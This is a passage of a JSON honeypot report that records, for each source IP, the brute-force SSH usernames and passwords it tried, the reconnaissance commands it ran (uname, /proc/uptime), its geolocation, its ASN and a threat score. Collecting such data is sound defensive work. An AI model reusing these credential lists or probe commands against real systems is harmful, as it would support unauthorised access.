      "last_seen": "2026-03-04T07:03:21.873Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "node",
        "sol",
        "solana",
        "validator"
      ],
      "passwords_attempted": [
        "node",
        "sol",
        "solana",
        "validator"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T21:58:05.133000+00:00",
        "last_seen_30d": "2026-03-04T07:04:29.943000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "103.18.14.69": {
      "attack_count": 48,
      "first_seen": "2026-03-28T21:15:56.422Z",
      "last_seen": "2026-03-28T21:21:07.695Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T21:15:56.422000+00:00",
        "last_seen_30d": "2026-03-28T21:22:13.095000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "161.35.68.157": {
      "attack_count": 46,
      "first_seen": "2026-03-02T11:02:03.839Z",
      "last_seen": "2026-03-02T11:05:30.130Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:02:03.839000+00:00",
        "last_seen_30d": "2026-03-02T11:06:34.272000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 12
      }
    },
    "59.97.245.127": {
      "attack_count": 44,
      "first_seen": "2026-03-04T12:20:39.898Z",
      "last_seen": "2026-03-04T12:25:27.109Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:20:39.898000+00:00",
        "last_seen_30d": "2026-03-04T12:26:32.092000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "172.245.126.123": {
      "attack_count": 39,
      "first_seen": "2026-03-16T14:24:37.762Z",
      "last_seen": "2026-03-16T14:28:10.209Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "Hx123456!",
        "aqy@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-16T14:24:37.762000+00:00",
        "last_seen_30d": "2026-03-16T19:35:26.226000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 39,
        "Suricata": 32,
        "Honeytrap": 1
      }
    },
    "183.87.217.222": {
      "attack_count": 37,
      "first_seen": "2026-03-10T07:46:31.725Z",
      "last_seen": "2026-03-22T02:44:54.235Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil",
        "root"
      ],
      "passwords_attempted": [
        "a",
        "",
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 45117,
      "as_org": "Ishans Network",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 10.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 13,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-10T07:46:31.725000+00:00",
        "last_seen_30d": "2026-03-22T02:46:07.427000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 27,
        "Honeytrap": 4
      }
    },
    "118.196.30.45": {
      "attack_count": 28,
      "first_seen": "2026-03-20T18:41:38.407Z",
      "last_seen": "2026-03-20T19:19:00.423Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "hasan",
        "sakura",
        "telegram",
        "toor"
      ],
      "passwords_attempted": [
        "hasan1234",
        "password",
        "telegram1234",
        "toor1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T18:41:38.407000+00:00",
        "last_seen_30d": "2026-03-20T19:29:07.779000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 17
      }
    },
    "67.205.146.211": {
      "attack_count": 28,
      "first_seen": "2026-03-03T13:19:31.458Z",
      "last_seen": "2026-03-03T13:21:22.217Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "password"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:19:31.458000+00:00",
        "last_seen_30d": "2026-03-03T13:22:23.535000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 8
      }
    },
    "164.92.66.152": {
      "attack_count": 27,
      "first_seen": "2026-03-10T23:43:37.575Z",
      "last_seen": "2026-03-11T01:13:39.605Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "eth",
        "sol"
      ],
      "passwords_attempted": [
        "eth",
        "sol"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:40:17.093000+00:00",
        "last_seen_30d": "2026-03-11T01:14:45.302000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 16
      }
    },
    "107.170.138.142": {
      "attack_count": 25,
      "first_seen": "2026-03-02T05:32:23.819Z",
      "last_seen": "2026-03-02T05:34:37.298Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Secaucus",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T05:32:23.819000+00:00",
        "last_seen_30d": "2026-03-02T05:35:46.542000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 10
      }
    },
    "38.188.160.16": {
      "attack_count": 23,
      "first_seen": "2026-03-10T23:29:26.471Z",
      "last_seen": "2026-03-11T00:35:22.100Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "130891",
        "160190",
        "doudou123",
        "fleurdelys"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:29:26.471000+00:00",
        "last_seen_30d": "2026-03-11T00:36:26.269000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "154.81.14.244": {
      "attack_count": 20,
      "first_seen": "2026-03-11T08:24:19.377Z",
      "last_seen": "2026-03-11T08:28:33.003Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T19:04:28+00:00",
        "last_seen_30d": "2026-03-11T08:29:40.917000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 18,
        "Honeytrap": 2
      }
    },
    "27.128.170.160": {
      "attack_count": 20,
      "first_seen": "2026-03-07T00:55:05.968Z",
      "last_seen": "2026-03-15T16:31:18.422Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "gaokai",
        "marek",
        "mirror",
        "root"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "@qwer2026",
        "gaokai"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T00:55:05.968000+00:00",
        "last_seen_30d": "2026-03-15T16:32:26.805000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "115.231.161.253": {
      "attack_count": 19,
      "first_seen": "2026-03-28T19:49:39.558Z",
      "last_seen": "2026-03-28T19:50:58.672Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58461,
      "as_org": "CT-HangZhou-IDC",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T19:49:39.558000+00:00",
        "last_seen_30d": "2026-03-28T19:51:59.700000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 17
      }
    },
    "14.103.123.8": {
      "attack_count": 17,
      "first_seen": "2026-03-09T19:58:12.151Z",
      "last_seen": "2026-03-09T20:18:14.322Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "runner"
      ],
      "passwords_attempted": [
        "runner"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T19:58:12.151000+00:00",
        "last_seen_30d": "2026-03-09T20:19:24.072000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 11
      }
    },
    "167.94.138.112": {
      "attack_count": 16,
      "first_seen": "2026-03-03T12:48:50.551Z",
      "last_seen": "2026-03-17T17:33:32.145Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 58.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.0,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 160,
        "days_active_30d": 22,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T06:22:59+00:00",
        "last_seen_30d": "2026-03-23T03:45:44.404000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 92,
        "Honeytrap": 42,
        "Cowrie": 16,
        "ElasticPot": 10
      }
    },
    "128.14.237.154": {
      "attack_count": 14,
      "first_seen": "2026-03-13T15:25:51.201Z",
      "last_seen": "2026-03-22T20:13:39.721Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "help",
        "root"
      ],
      "passwords_attempted": [
        "12345678",
        "ABCD123123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T15:25:51.201000+00:00",
        "last_seen_30d": "2026-03-22T20:14:45.103000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 9
      }
    },
    "194.164.107.5": {
      "attack_count": 13,
      "first_seen": "2026-03-05T20:35:06.695Z",
      "last_seen": "2026-03-31T04:41:45.276Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 50219,
      "as_org": "Valence Technology Co.",
      "threat_score": 97.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 537,
        "days_active_30d": 30,
        "ports_targeted_30d": 61,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T18:59:22.732000+00:00",
        "last_seen_30d": "2026-03-31T17:31:04.755000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 404,
        "Honeytrap": 107,
        "Cowrie": 13,
        "Dionaea": 6,
        "ElasticPot": 2,
        "Honeyaml": 2,
        "Tanner": 2,
        "H0neytr4p": 1
      }
    },
    "71.6.134.233": {
      "attack_count": 11,
      "first_seen": "2026-03-10T10:33:50.514Z",
      "last_seen": "2026-03-10T11:05:26.541Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 97.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 591,
        "days_active_30d": 30,
        "ports_targeted_30d": 72,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T14:22:12.942000+00:00",
        "last_seen_30d": "2026-03-31T18:12:00.506000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 420,
        "Honeytrap": 126,
        "Miniprint": 20,
        "Cowrie": 11,
        "Redishoneypot": 6,
        "Ciscoasa": 3,
        "Dionaea": 3,
        "Ipphoney": 2
      }
    },
    "34.84.162.177": {
      "attack_count": 10,
      "first_seen": "2026-03-03T18:33:56.916Z",
      "last_seen": "2026-03-03T18:33:59.559Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "ls -la /dev/null 2>/dev/null"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:33:56.916000+00:00",
        "last_seen_30d": "2026-03-03T18:44:02.738000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 3
      }
    },
    "1.14.141.8": {
      "attack_count": 7,
      "first_seen": "2026-03-14T21:26:24.170Z",
      "last_seen": "2026-03-15T02:23:00.640Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T21:26:24.170000+00:00",
        "last_seen_30d": "2026-03-15T02:31:12.705000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "185.209.199.32": {
      "attack_count": 7,
      "first_seen": "2026-03-19T11:23:12.207Z",
      "last_seen": "2026-03-19T11:30:18.133Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "adm1n"
      ],
      "passwords_attempted": [
        "asdfasdf"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Gothenburg",
      "asn": 39351,
      "as_org": "31173 Services AB",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T11:23:12.207000+00:00",
        "last_seen_30d": "2026-03-19T11:31:28.343000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "20.80.83.115": {
      "attack_count": 7,
      "first_seen": "2026-03-30T20:47:50.952Z",
      "last_seen": "2026-03-30T20:48:00.952Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 54.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 15.8,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 19,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-12T19:21:06+00:00",
        "last_seen_30d": "2026-03-30T20:49:07.479000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 7,
        "Honeytrap": 2,
        "H0neytr4p": 1
      }
    },
    "211.91.150.40": {
      "attack_count": 7,
      "first_seen": "2026-03-27T03:22:40.172Z",
      "last_seen": "2026-03-27T03:24:41.368Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T03:22:40.172000+00:00",
